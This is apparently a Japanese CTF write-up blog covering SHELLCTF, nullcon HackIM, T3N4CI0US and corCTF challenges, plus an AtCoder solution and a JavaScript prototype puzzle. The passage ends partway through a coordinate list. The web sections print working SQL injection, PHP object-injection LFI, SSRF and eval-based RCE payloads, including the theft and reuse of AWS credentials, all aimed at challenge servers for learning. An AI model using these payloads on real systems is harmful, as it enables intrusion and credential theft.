はまやんはまやんはまやん

hamayanhamayan's blog

SHELLCTF 2022 Writeups

[crypto] OX9OR2

フラグに9文字の鍵をXORしたものがencryptedとして与えられる。

encryptedにとりあえずSHELL{???を鍵として渡してみるとXORISC(@!T6DZM.&.!>6UI,Eと出てくる。
鍵の先頭はXORISCのようだ。

XORISC???を改めて鍵にしてみる。
SHELL{(@!_1S_R3&.!51BL3}
んー微妙にわからん。

xor is coolかなーと鍵を推測すると一発で当たった。
XORISCOOLを鍵にするとフラグが得られる。

SHELL{X0R_1S_R3VeR51BL3}

[forensic] Alien Communication

音声ファイルが渡される。
いつものようにSonic Visualiserでスペクトラム画像を表示するとフラグが書いてある。

shell{y0u_g07_7h3_f1ag}

[forensic] Heaven

青い空を見上げればいつもそこに白い猫を起動してステガノグラフィー解析を眺める。
RGBのビット7を見てみると左上に謎の点々が見られる。
RGBの最上位ビットに何か情報が埋め込まれているようだ。

ステガノグラフィー解析のビット抽出を押して、RGBのビット7にチェックを入れて、バイナリデータ表示をするとフラグが出てくる。
テキストのみ表示にチェックを入れるとコピーしやすい。

SHELL{man1pul4t1ng_w1th_31ts_15_3A5y}

[forensic] Hidden File

Hidden.jpgが与えられる。色々試すと以下で有益情報が得られる。

$ exiftool Hidden.jpg 
ExifTool Version Number         : 12.44
File Name                       : Hidden.jpg
Directory                       : .
File Size                       : 2.1 MB
File Modification Date/Time     : 2022:08:14 01:35:19+09:00
File Access Date/Time           : 2022:08:14 01:37:04+09:00
File Inode Change Date/Time     : 2022:08:14 01:35:19+09:00
File Permissions                : -rwxrwxrwx
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 72
Y Resolution                    : 72
Exif Byte Order                 : Big-endian (Motorola, MM)
Make                            : the password is shell;
Artist                          : the password is shell
XP Author                       : the password is shell
Padding                         : (Binary data 2060 bytes, use -b option to extract)
About                           : uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b
Creator                         : the password is shell
Image Width                     : 3000
Image Height                    : 4500
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 3000x4500
Megapixels                      : 13.5

パスワードはshellらしい。steghideでファイルをダンプしてみると成功する。

$ steghide extract -sf Hidden.jpg -p shell -xf out
wrote extracted data to "out".

$ file out
out: Zip archive data, at least v2.0 to extract, compression method=deflate

$ 7z x out

flag.zip, se3cretf1l3.pdf, something.jpgが手に入る。
something.jpgがQRコードだけれど、そのまま読むといつものyoutube動画。
pdf解析をしていくと、文字起こしでいい感じの情報が手に入る。

$ pdf2txt.py se3cretf1l3.pdf
Never gonna give you up 
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry
Never gonna say goodbye 
Never gonna tell a lie and hurt you
key is shellctf

shellctfでflag.zipを解凍するとflag.txtが入っておりフラグ獲得。

shell{y0u_g07_th3_flag_N1c3!}

[misc] World's Greatest Detective

謎の暗号文のような画像が与えられる。
特殊なフォントを使っていると推測して、Font Finder 🔎 by What Font Isで検索。
Modern Wakandan Regular WebFont - FFonts.net
このフォントであると特定できた。
あとは、対応表を見ながらデコードしていく。

SHELLCTF{W4kandA_F0rev3r}

[rev] How to defeat a dragon

ghidraに食わせるとmain関数で何かが成功するとlocal_78が表示される。

  local_78 = 0x4654434c4c454853;
  local_70 = 0x343534383433357b;
  local_68 = 0x3434353334633463;
  local_60 = 0x3535333133623736;
  local_58 = 0x3336373333323566;
  local_50 = 0x3631333533323733;
  local_48 = 0x3333336635373665;
  local_40 = 0x3766333937333734;
  local_38 = 0x7d64;

トルエンディアンで格納されてるので全部逆にして結合してhex to stringsするとフラグが出てくる。

SHELLCTF{5348454c4c4354467b31355f523376337235316e675f333473793f7d}

incorrectだった…波かっこの中身を改めてhex to stringsするともう一個フラグが出てくる。

SHELLCTF{15_R3v3r51ng_34sy?}

[rev] Keygen

ghidraで解析すると認証に成功するとgetString関数が呼ばれて何かが帰ってくるようだ。
直接getString関数の中身を見るとバイト列が返されるので持ってきて、CyberChefに食わせてフラグを得る

SHELLCTF{k3ygen_1s_c0oL}

[rev] Pulling the strings

ghidraに食わせるとmain関数にflagという変数があり、そこを参照するとフラグが格納されている。

SHELLCTF{Th4nks_f0r_the_food}

[rev] warmup

ghidraに食わせてmain関数を見る。
用意された変数に対して右に2つビットシフトして比較をしている。
コードを複製して、右に2つビットシフトしたものを文字列として出力してみよう。

#include <stdio.h>

int main(void) {
    int local_a8 [28];
    local_a8[0] = 0x1cc;
    local_a8[1] = 0x1a0;
    local_a8[2] = 0x194;
    local_a8[3] = 0x1b0;
    local_a8[4] = 0x1b0;
    local_a8[5] = 0x18c;
    local_a8[6] = 0x1d0;
    local_a8[7] = 0x198;
    local_a8[8] = 0x1ec;
    local_a8[9] = 0x188;
    local_a8[10] = 0xc4;
    local_a8[11] = 0x1d0;
    local_a8[12] = 0x15c;
    local_a8[13] = 0x1a4;
    local_a8[14] = 0xd4;
    local_a8[15] = 0x194;
    local_a8[16] = 0x17c;
    local_a8[17] = 0xc0;
    local_a8[18] = 0x1c0;
    local_a8[19] = 0xcc;
    local_a8[20] = 0x1c8;
    local_a8[21] = 0x104;
    local_a8[22] = 0x1d0;
    local_a8[23] = 0xc0;
    local_a8[24] = 0x1c8;
    local_a8[25] = 0x14c;
    local_a8[26] = 50;
    for (int local_ac = 0; local_ac < 0x1b; local_ac = local_ac + 1) {
        printf("%c", local_a8[local_ac] >> 2);
    }
    return 0;
}

これを実行するとshellctf{b1tWi5e_0p3rAt0rSと出力される。最後にカッコを補ったらフラグになる。

shellctf{b1tWi5e_0p3rAt0rS}

[web] Colour Cookie

/static/base_cookie.cssの末尾に/* name="C0loR" */と不穏なコメントがある。
フォームに名前を入れても応答が変わらないのでコメントにあるようにC0loRにしてみるが…何も起きないな。

ヒントが追加されたので見てみる
The key is finding and value is the favourite thing....

はー

GET /check?name=&C0loR=Blue

shellctf{C0ooooK13_W17h_c0ooorr3c7_Parr4m37er...}

[web] Extractor

なんか、guessすぎるweb問が多かったので初手ヒントを見た。
a sample query :- username' union select 1,(SELECT group_concat(sql) FROM sqlite_master),3,4;--
だいぶ優しいヒントだった…
これは頑張ればよかったな。

GET /profile?username=username%27+union+select+1%2Csqlite_version%28%29%2C3%2C4%3B--&pass=&content=
のようにするとsqliteのバージョンが出てくる。
つまりusernameにSQL Injectionの脆弱性がある。

usernameにusername' union select 1,(SELECT group_concat(sql) FROM sqlite_master),3,4;--とする。

CREATE TABLE Admins ( 
    id INTEGER PRIMARY KEY AUTOINCREMENT, 
    user TEXT NOT NULL, 
    pass TEXT NOT NULL, 
    content TEXT NOT NULL
),
CREATE TABLE sqlite_sequence(name,seq),
CREATE TABLE users (
    id INTEGER PRIMARY KEY AUTOINCREMENT, 
    user TEXT NOT NULL,
    pass TEXT NOT NULL, 
    content TEXT NOT NULL
)

いい感じにテーブル情報が抜けてきた。Adminsテーブルを抜こう。

username' union select id,user,pass,content from Admins;--でフラグが得られた。

shellctf{Sql_1Nj3c7i0n_B45iC_XD}

nullcon HackIM CTF 2022 Writeups

[web] Jsonify

この問題解いたら謎の人物から解き方教えてDM来ました。

GET /するとphpコードがもらえる。
改行と空白が消されているのでPHP Beautifierとか使ったり、見た感じで復元する。
なぜこんな面倒なことをしているか分からないが、もしかしたら何かを隠しているのかも…?

if (isset($_GET['show']) && isset($_GET['obj']) && isset($_GET['flagfile']))
{
    $f = secure_unjsonify($_GET['obj'], array(
        'Flag'
    ));
    $f->setFlagFile($_GET['flagfile']);
    $f->readFlag();
    $f->showFlag();
}

このルートを通ってフラグを表示させる。
readFlagとshowFlagを実行する前に

  • $this->flagfileにLFIしたいファイルパスを入れる
    • 入れておくと$this->flag = join("", file($this->flagfile));のようにreadFlagで読まれる
  • $this->isAllowedToSeeFlagをtrueにする
    • 代入する方法がないので、objで入れ込むjson経由で入れ込むしかない

ソースコードを見ながらコネコネpayloadを作る。
flagfileとisAllowdToSeeFlagを入れ込めればいいので、以下のようにやってとりあえず/etc/passwdを抜いてみる。

<?php
class Flag
{
    public $flag;
    public $flagfile;
    public $properties = array();
    public $isAllowedToSeeFlag;
    public function __shutdown()
    {
        return $this->properties;
    }
}

function secure_jsonify($obj)
{
    $data = array();
    $data['class'] = get_class($obj);
    $data['properties'] = array();
    foreach ($obj->__shutdown() as & $key)
    {
        $data['properties'][$key] = serialize($obj->$key);
    }
    return json_encode($data);
}

$ob = new Flag();
$ob->properties = array('flagfile', 'isAllowedToSeeFlag');
$ob->flagfile = "/etc/passwd";
$ob->isAllowedToSeeFlag = true;
$data = secure_jsonify($ob);
echo($data);

{"class":"Flag","properties":{"flagfile":"s:11:\"\/etc\/passwd\";","isAllowedToSeeFlag":"b:1;"}}が出てくるのでこれをobjに渡してやればいい。showとflagfileはなんでもいいので、以下のようにリクエストを送ると無事LFIできることが確認できる。

GET /?show&obj=%7b%22class%22%3a%22Flag%22%2c%22properties%22%3a%7b%22flagfile%22%3a%22s%3a11%3a%5c%22%5c%2fetc%5c%2fpasswd%5c%22%3b%22%2c%22isAllowedToSeeFlag%22%3a%22b%3a1%3b%22%7d%7d&flagfile

これであとはソースコード内に言及のあるflag.phpを取ってくればフラグ獲得
setFlagFileでif (stristr($flagfile, "flag") || !file_exists($flagfile))というチェックが走っているが、今回のルートではチェックされないので問題ない。

GET /?show&obj=%7b%22class%22%3a%22Flag%22%2c%22properties%22%3a%7b%22flagfile%22%3a%22s%3a8%3a%5c%22flag.php%5c%22%3b%22%2c%22isAllowedToSeeFlag%22%3a%22b%3a1%3b%22%7d%7d&flagfile

ENO{PHPwn_1337_hakkrz}

[web] Unis Love Code

GET /ソースコードが与えられる。
無茶苦茶な感じになっているので整形すると、username=adminっぽいのをPOSTで渡せばいいみたいだ。
しかし、抜粋した以下のフィルターを通す必要がある。

username='ADMIN'
check_funcs=["strip","lower"]

def _check_access(self,u):
    for cf in UnisLoveCode.check_funcs:
        if getattr(str,cf)(UnisLoveCode.username)==u:
            return False
    for c in u:
        if c in string.ascii_uppercase:
            return False
    return UnisLoveCode.username.upper()==u.upper()

uにはPOSTで指定したusernameのvalueが入る。
stripはちょっと省略すると、

  • 'ADMIN'.lower() != 入力
  • 入力に大文字を含んではいけない
  • 'Admin'.upper() == 入力.upper()

以上を満たす必要がある。
入力に手を加えているのは最後だけなので、upperで検索してみると、Unicodeならすごい変換が起きるみたい。

SECCON CTF 2021 write-up - プログラム系統備忘録ブログ

adminのどれかで使える文字がないか探すと"ı".upper() == "I"が見つかった。
なので、これを使ってusername=adm%c4%b1nを送るとフラグ獲得。

ENO{PYTH0Ns_Un1C0d3_C0nv3rs1on_0r_C0nfUs1on}

[cloud] Cloud 9*9

POST /calcで計算をさせることができる。
適当に色々試すとエラーを出せる。

"  File \"/var/task/lambda-function.py\", line 5, in lambda_handler
    'result' : eval(event['input'])"

evalに投げている。
{"input":"__import__('os').system('sleep 5')"}こんな感じで投げるとタイムアウトが起こる。
RCEできていそう。
入力を受け取りたいので{"input":"__import__('os').popen('id').read()"}の方を使うことにしよう。

lsするとlambdaのファイルがあるのでcat lambda-function.pyで中身を見てみる。

import json

def lambda_handler(event, context): 
    return { 
            'result' : eval(event['input'])
        #flag in nullcon-s3bucket-flag4 ..
    }

なるほど、OK。S3の方へラテラルムーブメントする必要がありそう。
envを実行して各種認証情報を取り出して来よう。

AWS_SESSION_TOKEN=いろいろ
AWS_SECRET_ACCESS_KEY=いろいろ
AWS_ACCESS_KEY_ID=いろいろ

AWS_SESSION_TOKEN, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEYをそのまま手元の環境でexportして、awsコマンドで探索するとフラグが手に入る。

$ aws s3 ls s3://nullcon-s3bucket-flag4
2022-08-12 05:27:20         40 flag4.txt

$ aws s3 cp s3://nullcon-s3bucket-flag4/flag4.txt .
download: s3://nullcon-s3bucket-flag4/flag4.txt to ./flag4.txt   

$ cat flag4.txt
ENO{L4mbda_make5_yu0_THINK_OF_ENVeryone}

Matrix Reducing [freee プログラミングコンテスト2022(AtCoder Beginner Contest 264) C]

https://atcoder.jp/contests/abc264/tasks/abc264_c

前提知識

  • bit全探索

解法

パっと見た感じ難しい問題に見えると思う。
この問題で注目すべき部分は制約である。
盤面のサイズがとても小さく、最大でも10。
制約が小さいということは、少し無茶な解法でも通るのではという発想になる。
(あとC問題ということもちょっと考える)

全探索

解法の基本は全探索なので、全探索を考えてみよう。
例えば2番目の行と3番目の行と3番目の列を消そうと考えたときに、

2番目の行 -> 3番目の行 -> 3番目の列 という順番で消しても、
3番目の行 -> 2番目の行 -> 3番目の列 という順番で消しても、
3番目の列 -> 3番目の行 -> 2番目の行 という順番で消しても、
最終的な形としては全く同じになる。

つまり、問題文としては操作を繰り返すということになっているが、選択肢としては各行、各列について消すか消さないかということになる。
消すか消さないかの2択を行と列の最大20か所について確認するので全部で220通りあることになる。
これは1048576通りなので、だいたい106通りで間に合う個数といえる。
(106とか107くらいが間に合うかどうかの境目になってくる)

どうやって全探索するか

こういった、やる/やらないの全探索はbit全探索という方法で行うのがオススメ。
やり方は専門の記事を参照する方が双方効率がいいのでgoogleで「bit全探索」と検索して学ぶとよい。

ビット全探索で各行、各列について残す行と列を決めたら、それ以外は消してから行列Bと比較する必要がある。
この実装部分もちょっと苦戦するかもしれない。
自分はbit全探索部分含めて以下のように実装した。

    rep(usedRow, 0, 1 << H1) rep(usedColumn, 0, 1 << W1) {   // bit全探索部分(残す部分を1として全探索している)
        // 残す部分の長さが行列Bと一緒かどうかチェック
        int H3 = 0;
        rep(y, 0, H1) if (usedRow & (1 << y)) H3++;
        int W3 = 0;
        rep(x, 0, W1) if (usedColumn & (1 << x)) W3++;
        if (H3 != H2 || W3 != W2) continue;

        // 行列Aから行と列を消して行列Cを作るとする
        int cy = 0;
        rep(y, 0, H1) if (usedRow & (1 << y)) {
            int cx = 0;
            rep(x, 0, W1) if (usedColumn & (1 << x)) {
                C[cy][cx] = A[y][x];
                cx++; // ここが大事。Aの値を入れたときにcのx座標を一つ右にずらす
            }
            cy++; // ここも同様。行列Cの行が1行処理されたらy座標を1つ下にずらす
        }

        // 行列Cができたら縦横の長さ同じはずなので、適当にループで行列Bと等しいかチェック
        bool ok = true;
        rep(x, 0, W2) rep(y, 0, H2) if (B[y][x] != C[y][x]) ok = false;
        if (ok) return YES;
    }

インラインで解説を入れておいた。
行列Cを作る方法としては、行/列の削除関数を作って、1つずつ消していくやり方などがあると思う。
今回の解法はO(2H+W HW)なので、意外と計算量に余裕がないかもしれないけど。

今回はO(2H+W HW)で解いたが、本番はO(WH 2H)で解いたのでそちらも時間があれば見てみてほしい。
https://atcoder.jp/contests/abc264/submissions/33999413
行だけbit全探索で全探索して、列の方は貪欲法で解いている。

https://atcoder.jp/contests/abc264/submissions/34023787

int H1, W1;
int A[10][10];

int H2, W2;
int B[10][10];

int C[10][10];

#define YES "Yes"
#define NO "No"

string solve() {
    rep(usedRow, 0, 1 << H1) rep(usedColumn, 0, 1 << W1) {
        int H3 = 0;
        rep(y, 0, H1) if (usedRow & (1 << y)) H3++;
        int W3 = 0;
        rep(x, 0, W1) if (usedColumn & (1 << x)) W3++;

        if (H3 != H2 || W3 != W2) continue;

        int cy = 0;
        rep(y, 0, H1) if (usedRow & (1 << y)) {
            int cx = 0;
            rep(x, 0, W1) if (usedColumn & (1 << x)) {
                C[cy][cx] = A[y][x];
                cx++;
            }
            cy++;
        }

        bool ok = true;
        rep(x, 0, W2) rep(y, 0, H2) if (B[y][x] != C[y][x]) ok = false;
        if (ok) return YES;
    }

    return NO;
}

void _main() {
    cin >> H1 >> W1;
    rep(y, 0, H1) rep(x, 0, W1) cin >> A[y][x];
    cin >> H2 >> W2;
    rep(y, 0, H2) rep(x, 0, W2) cin >> B[y][x];

    cout << solve() << endl;
}

T3N4CI0US CTF - Escape Writeups

[web] cigarette

GET /をすると以下のような応答が帰ってきて、フラグが含まれている

HTTP/1.1 200 OK
Date: Wed, 10 Aug 2022 16:14:28 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Key: T3N4CI0US{bc298e7_daf7_b2d4b347f67_c_56e9d_de34152_9ad99b1_7eb78}
Content-Length: 44
Connection: close
Content-Type: text/html; charset=UTF-8

Flag is not here!
<!-- It's not here! :) -->

[web] Rosin

GET /index.php?url=???とリダイレクトされる。
色々やっていたらfile:///flag/flag.txtでフラグが出てきた。非想定解かも。

GET /index.php?url=file%3a%2f%2f%2fflag%2fflag.txtすると

T3N4CI0US{aa84_c1372_0a89de3c3_f0_1316340332a_2a055c065}

[web] world

GET /で以下のように言われる。

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 22
Server: Werkzeug/1.0.1 Python/2.7.18
Date: Wed, 10 Aug 2022 12:22:00 GMT

Welcome To Find Secret

guessして、GET /secretとするとTell me your secret.I will encrypt it so others can't seeと言われる。
さらにguessしてGET /secret?secret=sssadfsadfでなんかエラーが出る。

if(secret==None):
    return 'Tell me your secret.I will encrypt it so others can\'t see'
rc=rc4_Modified.RC4("HereIsTreasure")
deS=rc.do_crypt(secret)

a=render_template_string(safe(deS))

if 'ciscn' in a.lower():
    return 'flag detected!'
return a

かなりいい感じに色々出てきた。
HereIsTreasureを鍵にしてRC4で暗号化して、render_template_stringに投げている。
あとは、render_template_stringなのでRC4暗号化後にSSTIとして動くようにすればいい。

方針は間違ってないと思うがいまいち刺さらない。
RC4暗号化に失敗した場合に、暗号化部分のライブラリのソースコードも一部見ることができた。
/app/rc4_Modified.pyというファイル名みたいで全文が無いか検索してみると、
rc4加密&ssti注入&CISCN,Double Secret_牛客博客
まんまじゃないか?

答えのpayloadを試すとフラグが得られる。

[web] viska

サーバが落ちているのか一生つながらなかった…

javascriptパズル (corCTF 2022 friendsより)

CTFでjavascript何もわからなくなったのでパズルとして紹介しておきます。

const x = []
const y = x
['admin','admin','__proto__'] = ['admin','admin','__proto__']
const z = x
['1','2','3'] = ['1','2','3']
console.log(x.includes('admin')) // -> true

このようなコードを書くと最後の行の出力がtrueになるのはなんででしょうか?
(Node.js v16.15.1.で検証済み)  
 
 
 
   
 
 
 
 
 
   
 
 
 
 
 
   
 
解説はもうちょっと下へ  
 
 
 
   
 
 
 
 
 
   
 
 
 
 
 
   
 
 
 
 
 
   
 
 
 
 
 
   
 
 
 
 
 
   
 
 
 
 
 
   
 

解説

解説していきます。
正直、動作ベースで理解している所があって、javascriptに詳しい人に是非直していただきたいです。

コードを再掲すると

const x = []
const y = x
['admin','admin','__proto__'] = ['admin','admin','__proto__']
const z = x
['1','2','3'] = ['1','2','3']
console.log(x.includes('admin')) // -> true

となりますが、このコード、セミコロンが無いんですよね。
無くても動いちゃうのか…
なので行が終わっているように見せかけて実は終わってないということが起きています。
具体的には

const x = [];
const y = x['admin','admin','__proto__'] = ['admin','admin','__proto__'];
const z = x['1','2','3'] = ['1','2','3'];
console.log(x.includes('admin')); // -> true

こんな感じに解釈されます。
const yとconst zの部分の代入はしても使われないので、

const x = [];
x['admin','admin','__proto__'] = ['admin','admin','__proto__'];
x['1','2','3'] = ['1','2','3'];
console.log(x.includes('admin')); // -> true

実質こんな感じになります。
ここで配列にtupleみたいな感じで添え字を指定していますが、最後のものしか使われません。
動作ベースでは最後のものだけでした。なんででしょうね。誰かNode.jsのソースコードベースで教えてほしい。
(追記:@arkark_さんに教えてもらえました!カンマ演算子によって添え字部分が評価された結果の戻り値が最後の部分となるからです。)
つまりこれは

const x = [];
x['__proto__'] = ['admin','admin','__proto__'];
x['3'] = ['1','2','3'];
console.log(x.includes('admin')); // -> true

のような感じに解釈されます。
__proto__については図で理解するJavaScriptのプロトタイプチェーン - Qiitaを見てもらうのが一番分かりやすいと思います。
つまり、要素が無かった時に参照する先なのですが、それを上書きしています。
ちょっとわかりやすくするためにxをダンプしてみましょう。

const x = [];
x['__proto__'] = ['admin','admin','__proto__'];
console.log(x); // -> []
x['3'] = ['1','2','3'];
console.log(x); // -> [ <3 empty items>, [ '1', '2', '3' ] ]
console.log(x.includes('admin')); // -> true

[ <3 empty items>, [ '1', '2', '3' ] ]と出てきましたね。
つまり、[ undefined, undefined, undefined, [ '1', '2', '3' ] ]ということです。
これはx['3']への代入前にxを見てみると[]になることからわかります。
__proto__はいったんおいておいて、xは最初は空の状態なので、そこに3番目に要素を入れると、0,1,2が入っていない状態の配列が出来上がるという訳です。

さて、ここまでくればもうちょっとです。
x.includes('admin')を実行したときには、雰囲気で処理を考えると
x[0]はadminかな?x[1]はadminかな?x[2]はadminかな?というのを確認していくわけですが、 x[0]は参照してもundefinedとなってしまいます。
ですが、ここで__proto__を用意していたことが役立ちます。
要素が無かった時に参照する先なので、x[0]undefinedであれば、x['__proto__'][0]を参照しに行くことになります。
よって、x[0] = x['__proto__'][0] = 'admin'ということになり、結果としてtrueが返されます。

同様にx[1]x[2]__proto__が使われるのですが、そのあたりをわかりやすくしたソースコードが以下です。

const x = [];
x['__proto__'] = ['admin0','admin1','admin2'];
x['3'] = ['1','2','3'];
console.log(x); // -> [ <3 empty items>, [ '1', '2', '3' ] ]
console.log(x[0]); // -> admin0
console.log(x[1]); // -> admin1
console.log(x[2]); // -> admin2
console.log(x[3]); // -> [ '1', '2', '3' ]
console.log(x.includes('admin')); // -> true

emptyのはずなのに具体的に取得すると値が出てくるんですね。恐ろしい。
よって、いろんなことが起こって最終的にadminが含まれていることになってしまう訳です。

終わりに

ほんとに動作ベースでブラックボックス的に理解しただけなので、間違ってたら指摘してもらえると自分が助かります。
良いお盆休みを。

corCTF 2022 writeups

[forensic] whack a frog

ぱらぱら見ていくと GET /anticheat?x=18&y=11&event=mousemove というのが連なっている。
適当にダンプしてきて、GETリクエストの内容を見てみる。

GET /anticheat?x=365&y=10&event=mousemove
GET /anticheat?x=295&y=20&event=mousemove
GET /anticheat?x=204&y=31&event=mousemove
GET /anticheat?x=105&y=39&event=mousemove
GET /anticheat?x=82&y=39&event=mousemove
GET /anticheat?x=65&y=37&event=mousemove
GET /anticheat?x=54&y=34&event=mousemove
GET /anticheat?x=50&y=34&event=mousemove
...

座標に色を付けてみよう。

from PIL import Image, ImageDraw

img = Image.new("RGB", (600, 600), (0, 0, 0))

xs = [365,295,204,105,82,65,54,50,39,37,34,33,31,30,26,24,20,19,17,16,16,17,17,18,18,18,18,18,17,17,17,16,16,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,15,16,18,20,21,24,27,30,33,38,42,45,46,47,48,49,50,51,52,54,55,56,57,57,57,57,58,58,59,59,60,60,61,61,62,62,63,64,65,66,69,70,73,76,78,79,80,83,85,86,87,87,88,89,90,92,93,93,95,95,96,97,98,99,99,98,97,97,96,95,94,94,95,95,96,96,97,97,98,98,98,99,100,101,102,102,104,105,106,108,109,114,118,119,120,121,122,124,125,126,127,128,129,130,131,133,134,135,137,137,137,136,134,133,124,121,118,117,115,114,113,113,114,115,115,116,116,116,116,116,116,116,116,116,116,116,116,116,116,116,116,116,116,117,117,117,117,117,117,117,117,116,115,114,113,112,111,110,109,108,107,106,105,105,104,104,103,103,103,102,102,103,104,105,107,108,109,110,111,115,116,117,118,119,120,121,121,122,123,124,126,127,130,132,136,137,138,139,139,140,141,142,143,144,145,145,146,147,148,149,150,152,157,162,164,169,172,177,181,182,183,184,184,183,181,179,179,178,178,178,178,178,178,178,178,179,179,179,179,179,179,179,179,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,178,179,180,182,183,185,185,186,187,187,188,189,190,194,197,201,202,203,204,205,206,207,208,210,211,214,216,217,217,218,219,220,221,222,223,223,224,225,225,226,227,227,228,228,229,230,232,234,236,236,238,239,239,240,240,241,241,241,241,241,241,242,242,242,242,242,242,242,243,243,243,243,243,242,242,241,241,241,240,240,239,239,238,238,238,238,237,237,237,237,237,237,237,237,237,237,236,236,236,236,236,236,235,235,235,235,235,235,235,238,238,239,239,240,240,241,241,245,247,250,251,252,252,253,253,254,255,256,257,257,257,257,257,257,257,256,256,256,256,255,257,257,258,260,262,264,267,268,269,270,270,271,273,274,275,276,276,277,278,278,279,279,279,279,280,280,280,280,280,280,280,279,279,279,278,278,278,277,277,276,274,271,267,264,262,259,258,257,256,255,254,254,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,256,257,258,259,261,264,266,270,273,276,278,279,281,283,285,287,288,289,290,291,293,294,296,297,298,299,301,304,306,309,311,313,315,316,318,319,322,324,325,326,326,326,326,326,324,323,322,322,321,320,320,320,319,319,319,318,317,317,316,316,316,316,316,316,316,316,316,316,316,317,318,319,320,322,323,324,329,330,334,335,336,336,336,336,336,336,336,336,336,336,336,336,337,338,338,339,342,346,348,349,351,352,353,354,354,355,355,355,355,355,355,355,353,353,353,353,353,353,354,355,355,356,357,358,359,359,359,359,360,360,360,360,360,360,360,360,360,360,360,359,359,359,361,361,361,361,360,359,359,359,359,359,358,358,357,356,355,354,353,351,349,347,345,343,337,335,334,330,330,328,327,327,327,326,326,325,325,324,324,324,323,323,322,321,321,320,320,319,319,321,322,322,323,324,325,326,328,329,330,331,332,332,334,337,341,363,373,382,388,389,394,395,395,395,393,392,391,390,389,387,385,384,383,383,383,384,384,385,386,388,388,390,390,391,392,393,395,395,396,396,396,397,397,397,397,396,396,396,396,396,397,397,398,399,401,402,405,406,409,412,415,417,419,420,421,422,423,424,426,428,429,430,431,432,436,437,438,439,440,440,440,440,440,440,440,439,439,439,439,439,439,439,440,440,440,440,440,440,440,440,440,440,440,440,440,440,440,440,440,440,440,440,440,440,440,439,439,438,437,436,435,433,432,431,430,429,428,427,425,424,423,422,421,419,418,417,416,415,414,412,410,409,408,407,407,406,404,403,402,399,398,397,395,394,394,394,394,395,395,395,396,397,397,397,397,397,397,398,398,398,399,400,401,403,405,407,409,412,419,425,431,436,442,444,446,449,451,452,454,457,460,466,469,471,474,475,476,478,479,479,479,479,479,479,479,479,478,478,478,477,477,476,476,476,476,476,477,477,477,478,478,480,480,480,481,483,484,486,489,492,492,494,495,496,496,496,496,496,496,496,496,497,497,497,497,496,496,496,495,495,495,495,495,495,495,496,496,496,496,498,499,500,501,502,503,504,505,506,507,507,508,509,510,511,512,513,514,515,516,516,516,516,516,515,515,515,515,515,514,514,514,514,514,514,513,513,513,513,513,512,512,512,511,511,511,511,511,511,512,513,514,515,516,517,518,518,518,518,518,517,516,516,516,516,516,516,516,516,516,516,516,517,517,517,517,517,517,517,517,515,514,512,511,509,508,506,504,502,497,489,484,480,478,477,476,475,474,473,472,471,470,471,472,473,474,475,476,477,477,477,477,477,477,476,476,476,476,474,472,470,467,451,445,440,432,428,416,406,384,381,367,360,335,326,295,268,252,196,167,157,128,107,104,103,101,98,94,90,82,72,69,64,59,57,50,48,42,40,39,37,36,35,33,29,26,20,12,8,10,11,12,13,13,14,15,17,17,17,17,17,17,17,17,17,17,17,17,17,17,18,18,18,18,19,19,19,19,20,20,20,20,20,20,20,20,20,19,19,19,18,18,18,18,18,18,18,18,18,17,17,18,19,20,21,22,23,24,25,26,27,28,29,31,32,33,35,36,37,38,39,40,41,42,43,44,53,58,60,61,63,62,64,68,72,74,81,85,87,88,88,89,90,91,92,93,95,96,97,98,99,101,102,103,104,105,107,107,108,108,108,108,107,107,105,105,105,105,105,105,105,104,103,103,101,100,99,98,97,97,99,100,102,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,135,138,138,138,136,132,131,130,129,127,126,124,123,122,121,121,120,120,119,118,118,118,117,117,115,115,114,114,114,114,114,114,114,113,113,113,113,113,113,113,113,113,113,113,113,113,114,114,115,115,115,116,116,116,117,118,119,120,121,123,124,125,126,127,128,129,130,131,128,127,126,124,123,122,121,120,120,119,118,117,116,115,114,114,113,112,111,110,109,108,107,106,105,104,103,102,101,100,99,99,98,97,100,101,102,103,116,117,119,120,122,124,127,128,129,130,131,132,133,134,134,135,136,137,138,140,143,154,157,165,170,175,180,183,184,184,184,184,183,182,181,180,180,180,180,180,180,179,179,177,177,177,177,177,179,179,179,179,179,179,179,179,179,179,179,179,179,179,179,179,179,179,180,180,180,180,180,180,180,180,180,179,179,179,179,179,179,179,179,179,179,179,178,177,177,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,196,198,199,201,202,204,207,208,210,213,214,215,216,217,217,218,218,218,219,220,220,222,224,225,227,230,233,238,240,242,243,244,244,244,244,244,243,243,242,238,239,240,240,241,241,242,244,244,245,245,246,246,247,248,249,250,253,253,254,254,255,255,258,259,260,261,262,262,263,264,264,265,266,267,267,271,272,273,274,274,275,275,276,275,273,272,272,271,271,271,270,270,269,268,268,267,267,266,266,265,264,264,263,262,262,262,262,262,262,262,262,261,261,261,261,261,261,261,261,261,261,261,261,261,260,260,260,260,260,260,260,259,259,259,261,262,263,264,265,267,268,270,273,275,284,287,293,303,306,307,308,308,309,311,312,313,314,315,316,317,319,320,320,321,319,319,319,319,320,321,321,322,325,325,326,326,327,328,329,329,331,332,334,337,338,338,339,340,341,342,343,343,344,345,346,347,347,348,348,349,349,350,350,351,352,352,353,354,356,357,357,358,358,359,359,359,358,357,357,356,355,354,352,351,350,349,348,347,346,345,343,342,342,341,341,341,341,340,339,337,335,334,333,332,332,331,331,330,330,329,329,328,327,326,325,325,324,324,323,323,321,320,319,318,318,317,317,319,319,320,320,321,322,323,324,327,329,333,335,336,337,338,339,342,343,344,345,346,346,347,348,349,351,352,352,353,354,355,356,356,357,358,358,359,359,360,360,361,362,363,364,365,365,366